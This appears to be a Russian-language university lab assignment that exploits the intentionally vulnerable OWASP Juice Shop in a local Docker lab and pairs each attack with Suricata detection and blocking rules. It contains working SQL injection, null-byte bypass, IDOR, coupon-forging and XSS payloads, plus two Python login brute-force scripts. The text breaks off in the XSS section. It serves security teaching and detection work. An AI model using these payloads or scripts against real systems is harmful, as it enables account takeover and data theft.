Лабораторная работа №4

Тема: Обнаружение и защита от веб-уязвимостей OWASP Top 10 на примере OWASP Juice Shop с помощью Suricata

---

Теория

OWASP Top 10

OWASP Top 10 — список наиболее критичных рисков безопасности веб-приложений, включающий:

1. **A01:2021 — Нарушение контроля доступа** (Broken Access Control)
2. **A02:2021 — Криптографические сбои** (Cryptographic Failures)
3. **A03:2021 — Инъекции** (Injection) — SQL-инъекции, инъекции команд
4. **A04:2021 — Небезопасный дизайн** (Insecure Design)
5. **A05:2021 — Неправильная конфигурация безопасности** (Security Misconfiguration)
6. **A06:2021 — Уязвимые и устаревшие компоненты** (Vulnerable and Outdated Components)
7. **A07:2021 — Сбои идентификации и аутентификации** (Identification and Authentication Failures)
8. **A08:2021 — Сбои целостности программного обеспечения и данных** (Software and Data Integrity Failures)
9. **A09:2021 — Недостатки логирования и мониторинга безопасности** (Security Logging and Monitoring Failures)
10. **A10:2021 — Подделка серверных запросов** (Server-Side Request Forgery/SSRF)

OWASP Juice Shop

OWASP Juice Shop — учебное веб-приложение интернет-магазина, содержащее уязвимости из всех категорий OWASP Top 10. Используется для тренировок, CTF-соревнований и обучения безопасности.

Практическая часть

1. Подготовка лабораторного стенда

1.1. Модификация docker-compose.yml

Доработайте стенд с добавлением victim-juice-shop:

```
  victim-juice-shop:
    image: bkimminich/juice-shop:latest
    container_name: victim-juice-shop
    hostname: victim-juice-shop
    networks:
      vulnnet:
        ipv4_address: 172.20.0.106
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=production
```

1.2. Запуск стенда

```
docker compose up -d

docker ps

docker exec -it attacker bash
```

---

2. Атака 1: Нарушение контроля доступа (A01:2021 Broken Access Control)

2.1. Описание уязвимости

IDOR (Insecure Direct Object Reference) — уязвимость, позволяющая получить доступ к чужим ресурсам путём подмены идентификатора в URL. Приложение проверяет только факт авторизации пользователя, но не проверяет, принадлежит ли запрашиваемый ресурс именно этому пользователю.

2.2. Эксплуатация из Kali

Шаг 1: Авторизация и получение JWT-токена:

```
TOKEN=$(curl -s -X POST "http://172.20.0.106:3000/rest/user/login" \
     -H "Content-Type: application/json" \
     -d "{\"email\":\"' OR 1=1 --\",\"password\":\"any\"}" | jq -r
'.authentication.token')

echo $TOKEN
```

Результат:

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJ
pZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIi...
```

Получен JWT-токен администратора (UserId: 1).

Шаг 2: Просмотр своей корзины:

```
curl -H "Authorization: Bearer $TOKEN"
"http://172.20.0.106:3000/rest/basket/1" | jq
```

Результат:


```
{
  "status": "success",
  "data": {
    "id": 1,
    "UserId": 1,
    "Products": [
      {
        "id": 1,
        "name": "Apple Juice (1000ml)",
        "price": 1.99,
        "BasketItem": {
          "quantity": 2
        }
      }
    ]
  }
}
```


Видны товары корзины пользователя 1 (admin).

Шаг 3: IDOR - просмотр чужих корзин через подмену ID:

```
# Просмотр корзины пользователя 2
curl -H "Authorization: Bearer $TOKEN"
"http://172.20.0.106:3000/rest/basket/2" | jq

# Просмотр корзины пользователя 3
curl -H "Authorization: Bearer $TOKEN"
"http://172.20.0.106:3000/rest/basket/3" | jq
```

Результат уязвимости:

Корзина пользователя 2:


```
{
  "status": "success",
  "data": {
    "id": 2,
    "UserId": 2,
    "Products": [
      {
        "id": 4,
        "name": "Raspberry Juice (1000ml)",
        "price": 4.99,
        "BasketItem": {
          "quantity": 2
        }
      }
    ]
  }
}
```


Получен несанкционированный доступ к корзинам других пользователей. Видны товары, цены и количество. Это нарушение конфиденциальности и классический пример IDOR.

2.3. Детектирование с Suricata

В `/etc/suricata/rules/local.rules`:

```
# IDOR: прямой доступ к корзине по ID
alert http any any -> $HOME_NET 3000 (msg:"[IDS] IDOR basket access
attempt"; flow:to_server,established; http_uri; pcre:"/rest/basket/\\d+/";
classtype:web-application-attack; sid:4501001; rev:1;)

# IDOR: последовательный перебор basket ID (enumeration)
alert http any any -> $HOME_NET 3000 (msg:"[IDS] IDOR basket enumeration
```

```
detected"; flow:to_server,established; http_uri; pcre:"/rest/basket/\\d+/";
threshold:type both, track by_src, count 3, seconds 10; classtype:web-
application-attack; sid:4501002; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Повторите атаку и проверьте лог:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

2.4. Предотвращение (IPS)

```
# Блокировка последовательного перебора корзин (enumeration)
drop http any any -> $HOME_NET 3000 (msg:"[IPS] IDOR basket enumeration
blocked"; flow:to_server,established; http_uri; pcre:"/rest/basket/\\d+/";
threshold:type both, track by_src, count 5, seconds 10; sid:4501101; rev:1;)
```

Полная блокировка доступа к `/rest/basket/*` невозможна, так как это легитимный функционал приложения. IPS может только ограничить частоту запросов к разным basket ID, что затруднит массовый перебор.

2.5. Анализ ложных срабатываний (FP)

Обычные пользователи тоже обращаются к `/rest/basket/ID`, что может вызвать FP.

Решение:

- Правило 4501001 (без threshold) будет срабатывать часто — его можно использовать для мониторинга
- Правило 4501002 (с threshold) срабатывает при переборе нескольких корзин
- IPS-правило 4501101 блокирует только при частом переборе (5 запросов за 10 секунд)

Suricata не сможет определить:

- Какая корзина принадлежит какому пользователю (логика приложения)
- Легитимен ли доступ к конкретному basket ID
- Является ли пользователь владельцем запрашиваемого ресурса

3. Атака 2: Криптографические сбои (A02:2021 Cryptographic Failures)

3.1. Описание

Криптографические сбои включают недостаточную защиту конфиденциальных данных: передачу паролей в открытом виде, доступ к backup-файлам с чувствительной информацией, использование слабых алгоритмов шифрования. В Juice Shop можно получить доступ к файлам с купонами и конфигурациями через уязвимость в FTP-директории.

3.2. Эксплуатация из Kali

Шаг 1: Обнаружение FTP-директории и списка файлов:

```
# Доступ к FTP-директории (публично доступна)
curl "http://172.20.0.106:3000/ftp/"
```

Результат: Список файлов, включая `package.json.bak`, `coupons_2013.md.bak`, `acquisitions.md`.

Шаг 2: Попытка скачать backup-файл напрямую:

```
curl "http://172.20.0.106:3000/ftp/package.json.bak"
```

Результат:

```
403 Error: Only .md and .pdf files are allowed!
```

Приложение фильтрует расширения файлов на стороне сервера.

Шаг 3: Обход фильтра через Poison Null Byte (%2500):

```
# Использование null-byte для обхода проверки расширения
curl "http://172.20.0.106:3000/ftp/package.json.bak%2500.md" -o
package.json.bak

# Альтернативный способ с .pdf
curl "http://172.20.0.106:3000/ftp/package.json.bak%2500.pdf" -o
package.json.bak
```

Объяснение атаки:

- `%25` — это URL-кодировка символа `%`
- `%00` — null-byte (признак конца строки в C/C++)
- `%2500` декодируется в `%00` на сервере
- Сервер видит: `package.json.bak%00.md` и интерпретирует как `package.json.bak` (обрезка по null-byte)
- Проверка расширения пропускает файл, т.к. видит `.md` в конце

Шаг 4: Скачивание файла с купонами:

```
curl "http://172.20.0.106:3000/ftp/coupons_2013.md.bak%2500.md" -o
coupons_2013.md.bak
cat coupons_2013.md.bak
```

Результат: Файл содержит закодированные купоны в формате z85. Пример:

```
n<MibgC7sn
mNYS#gC7sn
o*IVigC7sn
...
```

Шаг 5: Декодирование купонов (криптоанализ):

Купоны закодированы алгоритмом **z85** (ZeroMQ Base-85). Создайте изолированную среду Python и установите зависимости:

```
python3 -m venv venv
source venv/bin/activate
# Установка Python-библиотеки для z85
pip3 install pyzmq
# Декодирование купона
python3 -c "import zmq.utils.z85 as z85; print(z85.decode('n<MibgC7sn'))"
```

Результат декодирования: `JAN13-10`, `FEB13-10`, `MAR13-10` ...

Шаг 6: Создание поддельного купона на 80% скидку:

```
┌──(venv)(root㉿attacker)-[/]
└─**#** python3 -c "import zmq.utils.z85 as z85; print(z85.encode(b'OCT25-
80'))"
b'pEw8ph7Z^w'
```

Результат уязвимости:

- Получен доступ к конфиденциальным backup-файлам (`package.json.bak` с версиями библиотек)
- Раскрыт алгоритм генерации купонов (слабая криптография через security by obscurity)
- Создан поддельный купон на 80% скидку

3.3. Детектирование с Suricata

В `/etc/suricata/rules/local.rules`:

```
# Доступ к FTP-директории
alert http any any -> $HOME_NET 3000 (msg:"[IDS] FTP directory access";
flow:to_server,established; http_uri; content:"/ftp/"; classtype:policy-
violation; sid:4502001; rev:1;)

# Доступ к backup-файлам (.bak)
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Backup file access
attempt"; flow:to_server,established; http_uri; pcre:"/\\.bak/i";
classtype:policy-violation; sid:4502002; rev:1;)

# Poison Null Byte в URI
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Poison Null Byte detected";
flow:to_server,established; http_uri; pcre:"/%00|%2500/i"; classtype:web-
application-attack; sid:4502003; rev:1;)

# Доступ к конфиденциальным файлам
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Sensitive file access
(coupons)"; flow:to_server,established; http_uri; content:"coupons"; nocase;
classtype:policy-violation; sid:4502004; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Повторите атаку и проверьте лог:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

3.4. Предотвращение (IPS)

```
# Блокировка Poison Null Byte
drop http any any -> $HOME_NET 3000 (msg:"[IPS] Poison Null Byte blocked";
flow:to_server,established; http_uri; pcre:"/%00|%2500/i"; sid:4502101;
rev:1;)

# Блокировка доступа к backup-файлам
drop http any any -> $HOME_NET 3000 (msg:"[IPS] Backup file access blocked";
flow:to_server,established; http_uri; pcre:"/\\.bak/i"; sid:4502102; rev:1;)
```

Повторите атаки, откройте EveBox и найдите события.

3.5. Анализ ложных срабатываний (FP)

- Доступ к `/ftp/` может быть легитимным (скачивание документов).
- Правило 4502001 (доступ к FTP) — только для мониторинга
- Правила 4502002 и 4502003 (backup, null-byte) — явные признаки атаки, низкий FP
- IPS-блокировка null-byte безопасна, т.к. это всегда признак обхода валидации
- Suricata не может проверить содержимое скачанных файлов
- Не может определить, что купон поддельный (это логика приложения)
- Детектирует только сетевые признаки атаки (null-byte, backup-файлы)

---

4. Атака 3: Инъекции (A03:2021 Injection)

4.1. Описание уязвимости

SQL Injection — внедрение SQL-кода через параметры запроса, позволяющее обойти аутентификацию, извлечь или модифицировать данные.

4.2. Эксплуатация из Kali

```
curl -X POST "http://172.20.0.106:3000/rest/user/login" \
     -H "Content-Type: application/json" \
     -d "{\"email\":\"' OR 1=1 --\",\"password\":\"any\"}"
```

Результат:

```
{"authentication":{"token":"eyJ0eX...","bid":1,"umail":"admin@juice-sh.op"}}
```

Получен доступ к учетной записи администратора (admin@juice-sh.op) без знания пароля.

4.3. Детектирование с Suricata

```
# SQL Injection: OR 1=1 в теле запроса
alert http any any -> $HOME_NET 3000 (msg:"[IDS] SQLi OR 1=1 detected";
flow:to_server,established; http.request_body; pcre:"/or\\s+1=1/i";
classtype:web-application-attack; sid:4503001; rev:1;)

# SQL Injection: UNION SELECT в URI
alert http any any -> $HOME_NET 3000 (msg:"[IDS] SQLi UNION SELECT
detected"; flow:to_server,established; http_uri; pcre:"/union\\s+select/i";
classtype:web-application-attack; sid:4503002; rev:1;)

# SQL Injection: комментарий --
alert http any any -> $HOME_NET 3000 (msg:"[IDS] SQLi comment detected";
flow:to_server,established; http.request_body; content:"--"; classtype:web-
application-attack; sid:4503003; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Повторите атаку и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

4.4. Предотвращение (IPS)

```
# Блокировка SQLi на endpoint /rest/user/login
drop http any any -> $HOME_NET 3000 (msg:"[IPS] SQLi blocked on login";
flow:to_server,established; http_uri; content:"/rest/user/login";
http.method; content:"POST"; http.request_body;
pcre:"/or\\s+1=1|union\\s+select/i"; sid:4503101; rev:1;)
```

Повторите атаки, откройте EveBox и найдите события.

---

5. Атака 4: Небезопасный дизайн (A04:2021 Insecure Design)

5.1. Описание

Небезопасный дизайн — отсутствие защитных механизмов на этапе проектирования системы. В Juice Shop отсутствует **rate limiting** на критичных операциях (логин), что позволяет проводить автоматизированные brute-force атаки без ограничений.

5.2. Эксплуатация из Kali

Шаг 1: Создайте Python-скрипт `brute_login.py`:

```
#!/usr/bin/env python3
"""
Brute-force атака на логин Juice Shop
Демонстрация отсутствия rate limiting (Insecure Design - A04:2021)
"""
import requests
import time
import sys

TARGET = "http://172.20.0.106:3000"
EMAIL = "admin@juice-sh.op"

PASSWORDS = [
    "password", "123456", "12345678", "qwerty", "abc123",
    "monkey", "1234567", "letmein", "trustno1", "dragon",
    "baseball", "111111", "iloveyou", "master", "sunshine",
    "ashley", "bailey", "passw0rd", "shadow", "123123",
    "admin123", "admin", "password123", "welcome", "login"
]

def attempt_login(email, password):
    url = f"{TARGET}/rest/user/login"
    payload = {"email": email, "password": password}
    try:
        response = requests.post(url, json=payload, timeout=5)
        return response.status_code, response.json()
    except Exception as e:
        return None, str(e)

def main():
    print("=" * 70)
    print("Juice Shop Login Brute-Force Attack")
    print("Demonstrating Insecure Design: No Rate Limiting (A04:2021)")
    print("=" * 70)
    print(f"[*] Target: {TARGET}")
    print(f"[*] Email: {EMAIL}")
    print(f"[*] Password wordlist size: {len(PASSWORDS)}")
    print("\n[!] Attack demonstrates lack of rate limiting protection")
```

```
    print("[!] Real application should block after 3-5 failed attempts")
    print("-" * 70)

    attempt = 0
    start_time = time.time()
    failed_attempts = 0

    for password in PASSWORDS:
        attempt += 1
        print(f"[{attempt:2d}/{len(PASSWORDS)}] Password:
{password:15s}...", end=" ")

        status, response = attempt_login(EMAIL, password)

        if status == 200 and "authentication" in str(response):
            print("✓ SUCCESS!")
            print("\n" + "=" * 70)
            print("[+] Login successful!")
            print(f"[+] Email: {EMAIL}")
            print(f"[+] Password: {password}")
            print(f"[+] Failed attempts before success: {failed_attempts}")
            print(f"[+] Time elapsed: {time.time() - start_time:.2f}
seconds")

            token = response.get("authentication", {}).get("token", "")
            if token:
                print(f"[+] JWT Token: {token[:60]}...")

            print("\n[!] VULNERABILITY: No account lockout after multiple
failures!")
            print("[!] VULNERABILITY: No CAPTCHA to prevent automation!")
            print("[!] VULNERABILITY: No rate limiting detected!")
            print("=" * 70)
            sys.exit(0)
        else:
            failed_attempts += 1
            print("✗ Failed")

        time.sleep(0.3)

    print("\n" + "=" * 70)
    print(f"[!] NO RATE LIMITING DETECTED - All {attempt} attempts
accepted!")
    print("=" * 70)

if __name__ == "__main__":
```

```
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Attack interrupted by user")
        sys.exit(1)
```

Шаг 2: Установите зависимости и запустите:

```
python3 -m venv venv
source venv/bin/activate
pip3 install requests
python3 brute_login.py
```

Результат выполнения:

```
======================================================================
[+] Login successful!
[+] Email: admin@juice-sh.op
[+] Password: admin123
[+] Failed attempts before success: 20
[+] Time elapsed: 6.53 seconds
[+] JWT Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...

[!] VULNERABILITY: No account lockout after multiple failures!
[!] VULNERABILITY: No CAPTCHA to prevent automation!
[!] VULNERABILITY: No rate limiting detected!
======================================================================
```

Результат уязвимости:

- 21 попытка логина за 6.53 секунды без блокировки
- Успешный взлом пароля администратора
- Отсутствие защитных механизмов на уровне дизайна

5.3. Детектирование с Suricata

В `/etc/suricata/rules/local.rules`:

```
# Массовые попытки логина (5 за 10 сек)
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Login brute-force
detected"; flow:to_server,established; http_uri; content:"/rest/user/login";
http.method; content:"POST"; threshold:type both, track by_src, count 5,
seconds 10; classtype:attempted-recon; sid:4504001; rev:1;)
```

```
# Агрессивный brute-force (10+ за 30 сек)
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Aggressive login brute-
force"; flow:to_server,established; http_uri; content:"/rest/user/login";
threshold:type both, track by_src, count 10, seconds 30;
classtype:attempted-recon; sid:4504002; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Повторите атаки и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

5.4. Предотвращение (IPS)

```
# Блокировка после 5 попыток за 10 секунд
drop http any any -> $HOME_NET 3000 (msg:"[IPS] Login brute-force blocked";
flow:to_server,established; http_uri; content:"/rest/user/login";
http.method; content:"POST"; threshold:type both, track by_src, count 5,
seconds 10; sid:4504101; rev:1;)
```

После добавления IPS-правила повторный запуск скрипта будет заблокирован после 5-й попытки. Ограничения IDS/IPS: Не может отличить легитимные неудачные попытки от автоматизированной атаки на малых объемах.

Повторите атаки, откройте EveBox и найдите события.

---

6. Атака 5: Неправильная конфигурация безопасности (A05:2021 Security Misconfiguration)

6.1. Описание

Security Misconfiguration включает: неправильную настройку прав доступа, публичные административные endpoint'ы, утечку конфиденциальной информации через metrics, stack trace в ошибках, публичные директории с чувствительными файлами, обход валидации

через технические уязвимости. В Juice Shop продемонстрированы критичные примеры таких уязвимостей.

6.2. Эксплуатация из Kali

Пример 1: Poison Null Byte для обхода расширений файлов

```
# Обход фильтра .md/.pdf через null-byte
curl "http://172.20.0.106:3000/ftp/legal.md%2500.md"
```

Результат:

```
# Legal Information

Lorem ipsum dolor sit amet, consetetur sadipscing elitr...
```

Объяснение принципа Poison Null Byte (%2500) было ранее.

Пример 2: Доступ к FTP-директории с листингом файлов

```
# Просмотр содержимого FTP-директории
curl "http://172.20.0.106:3000/ftp/"
```

Результат: HTML-страница с directory listing:

```
  <li><a href="acquisitions.md">acquisitions.md</a></li>
  <li><a href="coupons_2013.md.bak">coupons_2013.md.bak</a></li>
  <li><a href="eastere.gg">eastere.gg</a></li>
  <li><a href="legal.md">legal.md</a></li>
  <li><a href="package.json.bak">package.json.bak</a></li>
```

Публичный доступ к директории раскрывает:

- **Backup-файлы**: `coupons_2013.md.bak`, `package.json.bak`
- **Конфигурационные файлы**: могут содержать credentials, API keys
- **Структуру приложения**: названия файлов подсказывают функционал
- **Easter eggs**: `eastere.gg` — возможные дополнительные уязвимости

Пример 3: Доступ к metrics endpoint (Information Disclosure)

```
curl "http://172.20.0.106:3000/metrics"
```

Результат (фрагмент):

```
┌──(venv)(root㉿attacker)-[/]
└─# curl "http://172.20.0.106:3000/metrics"
# HELP file_uploads_count Total number of successful file uploads grouped by
file type.
# TYPE file_uploads_count counter
# HELP file_upload_errors Total number of failed file uploads grouped by
file type.
# TYPE file_upload_errors counter
...
```

Уязвимость: Metrics endpoint раскрывает критичную информацию:

- **Версии ПО**: Juice Shop 19.0.0, Node.js 22.18.0 (для поиска CVE)
- **Статистику атак**: какие challenges уже решены
- **Количество пользователей**: 21 (размер базы данных)
- **HTTP статистику**: количество 2XX/4XX ошибок

Пример 4: Доступ к Security Questions API

```
curl "http://172.20.0.106:3000/api/SecurityQuestions"
```

Результат:


```
{
  "status":"success",
  "data":[
    {"id":1,"question":"Your eldest siblings middle name?"},
    {"id":2,"question":"Mother's maiden name?"},
    {"id":3,"question":"Mother's birth date? (MM/DD/YY)"},
    {"id":7,"question":"Name of your favorite pet?"},
    {"id":11,"question":"Your favorite book?"},
    {"id":12,"question":"Your favorite movie?"}
  ]
}
```


API без авторизации раскрывает все security questions, что облегчает подготовку словарей для brute-force атак на восстановление пароля.

Пример 5: Доступ к Score Board (Administrative Interface)

```
curl "http://172.20.0.106:3000/score-board"
```

HTML-страница административной панели с информацией о всех challenges, их статусе и категориях OWASP Top 10.

Результат уязвимостей:

- **Poison Null Byte** — обход валидации расширений файлов
- **Directory Listing** — публичный доступ к списку файлов в `/ftp/`
- **Metrics Information Disclosure** — раскрытие версий и статистики
- **API Without Auth** — доступ к security questions
- **Administrative Interface** — публичный score board

6.3. Детектирование с Suricata

В `/etc/suricata/rules/local.rules`:

```
# Poison Null Byte в URI
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Poison Null Byte detected";
flow:to_server,established; http_uri; pcre:"/%00|%2500/i"; classtype:web-
application-attack; sid:4505001; rev:1;)

# Доступ к FTP-директории
alert http any any -> $HOME_NET 3000 (msg:"[IDS] FTP directory access";
flow:to_server,established; http_uri; content:"/ftp/"; classtype:policy-
violation; sid:4505002; rev:1;)

# Доступ к backup-файлам
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Backup file access";
flow:to_server,established; http_uri; pcre:"/\\.bak/i"; classtype:policy-
violation; sid:4505003; rev:1;)

# Доступ к metrics endpoint
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Metrics endpoint access";
flow:to_server,established; http_uri; content:"/metrics"; classtype:policy-
violation; sid:4505004; rev:1;)

# Доступ к Security Questions API
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Security Questions API
access"; flow:to_server,established; http_uri;
content:"/api/SecurityQuestions"; classtype:policy-violation; sid:4505005;
rev:1;)

# Доступ к Score Board
```

```
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Score Board access";
flow:to_server,established; http_uri; content:"/score-board";
classtype:policy-violation; sid:4505006; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Повторите атаки и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

6.4. Предотвращение (IPS)

```
# Блокировка Poison Null Byte
drop http any any -> $HOME_NET 3000 (msg:"[IPS] Poison Null Byte blocked";
flow:to_server,established; http_uri; pcre:"/%00|%2500/i"; sid:4505101;
rev:1;)

# Блокировка доступа к backup-файлам
drop http any any -> $HOME_NET 3000 (msg:"[IPS] Backup file access blocked";
flow:to_server,established; http_uri; pcre:"/\\.bak/i"; sid:4505102; rev:1;)

# Блокировка доступа к metrics
drop http any any -> $HOME_NET 3000 (msg:"[IPS] Metrics access blocked";
flow:to_server,established; http_uri; content:"/metrics"; sid:4505103;
rev:1;)

# Блокировка Score Board для внешних IP
drop http !$HOME_NET any -> $HOME_NET 3000 (msg:"[IPS] External Score Board
access blocked"; flow:to_server,established; http_uri; content:"/score-
board"; sid:4505104; rev:1;)
```

Повторите атаки и проверьте логи. Или откройте EveBox.

6.5. Анализ ложных срабатываний (FP)

- Доступ к `/ftp/` может быть легитимным (скачивание документов)
- `/metrics` нужен для мониторинга
- Правило 4505002 (FTP) — только для мониторинга, не блокировать
- Правила 4505001, 4505003 (null-byte, backup) — явные атаки, низкий FP

- Правило 4505004 (metrics) — whitelist для monitoring tools

Suricata не может определить бизнес-логику и настоящую чувствительность данных.

---

7. Атака 6: Уязвимые и устаревшие компоненты (A06:2021 Vulnerable Components)

7.1. Описание

Использование библиотек и фреймворков с известными уязвимостями. Приложения часто не обновляют зависимости, что делает их уязвимыми к эксплуатации публично известных CVE. Через анализ stack trace и структуры приложения можно определить используемые компоненты и проверить их на наличие уязвимостей.

7.2. Эксплуатация из Kali

Шаг 1: Извлечение версий компонентов из Stack Trace

```
# Запрос на несуществующий файл для получения stack trace
curl "http://172.20.0.106:3000/ftp/nonexistent.txt"
```

Результат:

```
<h1>OWASP Juice Shop (Express ^4.21.0)</h1>
<h2><em>403</em> Error: Only .md and .pdf files are allowed!</h2>
...
```

Будет извлечена следующая информация:

- **Express.js**: версия 4.21.0
- **serve-index**: библиотека для directory listing
- **Внутренняя структура проекта**:
  - `/juice-shop/build/routes/fileServer.js`
  - `/juice-shop/node_modules/`
- **Node.js встроенные модули**: `node:fs`

Шаг 2: Анализ обнаруженных компонентов

На основе stack trace идентифицированы компоненты из шага 1. Эта информация позволяет атакующему искать известные CVE в базах данных уязвимостей (NVD, Snyk,

GitHub Advisory) и разрабатывать целенаправленные эксплоиты для конкретных версий.

Попробуйте найти известные уязвимости и эксплоиты для Express.js

7.3. Детектирование с Suricata

В `/etc/suricata/rules/local.rules`:

```
# Провоцирование stack trace для fingerprinting
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Error page fingerprinting
attempt"; flow:to_server,established; http_uri;
pcre:"/\\.txt$|\\.exe$|\\.dll$|\\.jsp$/"; classtype:attempted-recon;
sid:4506001; rev:1;)

# Массовые запросы несуществующих файлов (fingerprinting scan)
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Component version scan";
flow:to_server,established; http.stat_code; content:"403"; threshold:type
both, track by_src, count 5, seconds 10; classtype:attempted-recon;
sid:4506002; rev:1;)

# Попытки доступа к конфигам для определения зависимостей
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Dependency config access";
flow:to_server,established; http_uri;
pcre:"/package\\.json|composer\\.json|requirements\\.txt/i";
classtype:attempted-recon; sid:4506003; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Повторите атаки и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

---

8. Атака 7: Сбои идентификации и аутентификации (A07:2021 Authentication Failures)

8.1. Описание

Сбои аутентификации включают слабые пароли, утечку credentials, недостаточную защиту сессий, отсутствие multi-factor authentication. В Juice Shop можно продемонстрировать взлом через **SQL Injection в логине** (обход аутентификации) и **предсказуемые JWT токены**.

8.2. Эксплуатация из Kali

Способ 1: SQL Injection для обхода аутентификации

```
# Обход аутентификации через SQLi
curl -X POST "http://172.20.0.106:3000/rest/user/login" \
     -H "Content-Type: application/json" \
     -d "{\"email\":\"' OR 1=1 --\",\"password\":\"any\"}"
```

Результат:

```
{
  "authentication": {
    "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...",
    "bid": 1,
    "umail": "admin@juice-sh.op"
  }
}
```

Полный обход механизма аутентификации без знания пароля.

Способ 2: Перебор слабых паролей для известных email

Создайте скрипт `auth_weak_passwords.py`:

```
#!/usr/bin/env python3
"""
Проверка слабых паролей на известных email
Демонстрация Authentication Failures (A07:2021)
"""
import requests
import sys

TARGET = "http://172.20.0.106:3000"

# Известные email из приложения
EMAILS = [
    "admin@juice-sh.op",
    "jim@juice-sh.op",
```

```
    "bender@juice-sh.op",
    "amy@juice-sh.op"
]

# Топ-10 слабых паролей
WEAK_PASSWORDS = [
    "admin123",
    "password",
    "123456",
    "password123",
    "admin",
    "letmein",
    "welcome",
    "monkey",
    "qwerty",
    "123456789"
]

def try_login(email, password):
    """Попытка входа"""
    url = f"{TARGET}/rest/user/login"
    payload = {"email": email, "password": password}
    try:
        response = requests.post(url, json=payload, timeout=5)
        return response.status_code, response.json()
    except:
        return None, None

def main():
    print("=" * 60)
    print("Testing Weak Passwords (Authentication Failures - A07)")
    print("=" * 60)

    found = 0
    total = len(EMAILS) * len(WEAK_PASSWORDS)

    for email in EMAILS:
        print(f"\n[*] Testing {email}")
        for password in WEAK_PASSWORDS:
            status, response = try_login(email, password)

            if status == 200 and "authentication" in str(response):
                print(f"  [+] SUCCESS: {password}")
                found += 1
                break
            else:
```

```
                print(f"  [-] Failed: {password}")

    print("\n" + "=" * 60)
    print(f"[+] Found {found}/{len(EMAILS)} accounts with weak passwords")
    print("=" * 60)

if __name__ == "__main__":
    main()
```

Запуск:

```
python3 -m venv venv
source venv/bin/activate
python3 auth_weak_passwords.py
```

Ожидаемый результат:

```
============================================================
Testing Weak Passwords (Authentication Failures - A07)
============================================================

[*] Testing admin@juice-sh.op
  [+] SUCCESS: admin123

[*] Testing jim@juice-sh.op
  [-] Failed: admin123
  ...

============================================================
[+] Found 1/4 accounts with weak passwords
============================================================
```

8.3. Детектирование с Suricata

В `/etc/suricata/rules/local.rules`:

```
# SQL Injection в login (уже есть в A03, но повторим для контекста)
alert http any any -> $HOME_NET 3000 (msg:"[IDS] SQLi authentication
bypass"; flow:to_server,established; http_uri; content:"/rest/user/login";
http.request_body; pcre:"/or\\s+1=1/i"; classtype:web-application-attack;
sid:4507001; rev:1;)

# Последовательные неудачные попытки логина (credential stuffing)
alert http any any -> $HOME_NET 3000 (msg:"[IDS] Multiple failed login
```

```
attempts"; flow:to_server,established; http_uri; content:"/rest/user/login";
http.method; content:"POST"; threshold:type both, track by_src, count 5,
seconds 30; classtype:attempted-recon; sid:4507002; rev:1;)

# Перебор разных email (user enumeration)
alert http any any -> $HOME_NET 3000 (msg:"[IDS] User enumeration attempt";
flow:to_server,established; http_uri; content:"/rest/user/login";
threshold:type both, track by_src, count 10, seconds 60;
classtype:attempted-recon; sid:4507003; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

Запустите скрипт и проверьте лог:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

8.4. Предотвращение (IPS)

```
# Блокировка SQLi в login
drop http any any -> $HOME_NET 3000 (msg:"[IPS] SQLi auth bypass blocked";
flow:to_server,established; http_uri; content:"/rest/user/login";
http.request_body; pcre:"/or\\s+1=1|union\\s+select/i"; sid:4507101; rev:1;)

# Блокировка после множественных попыток
drop http any any -> $HOME_NET 3000 (msg:"[IPS] Failed login threshold
exceeded"; flow:to_server,established; http_uri; content:"/rest/user/login";
threshold:type both, track by_src, count 10, seconds 30; sid:4507102;
rev:1;)
```

Повторите атаки и проверьте логи. Или откройте EveBox.

Suricata детектирует подозрительные паттерны, но полная защита требует исправлений на уровне приложения (prepared statements, strong password policy, MFA).

---

9. Атака 8: Сбои целостности ПО и данных (A08:2021 Software and Data Integrity Failures)

9.1. Описание

Сбои целостности включают XSS (Cross-Site Scripting) — внедрение вредоносного JavaScript-кода в веб-страницы через пользовательский ввод. В Juice Shop отсутствует должная санитизация пользовательских данных, что позволяет внедрять XSS-payloads в HTTP-запросы.

9.2. Эксплуатация из Kali

Тест 1: XSS через Script Tag

```
# XSS payload через тег <script>
curl "http://172.20.0.106:3000/#/search?q=<script>alert(1)</script>"
```

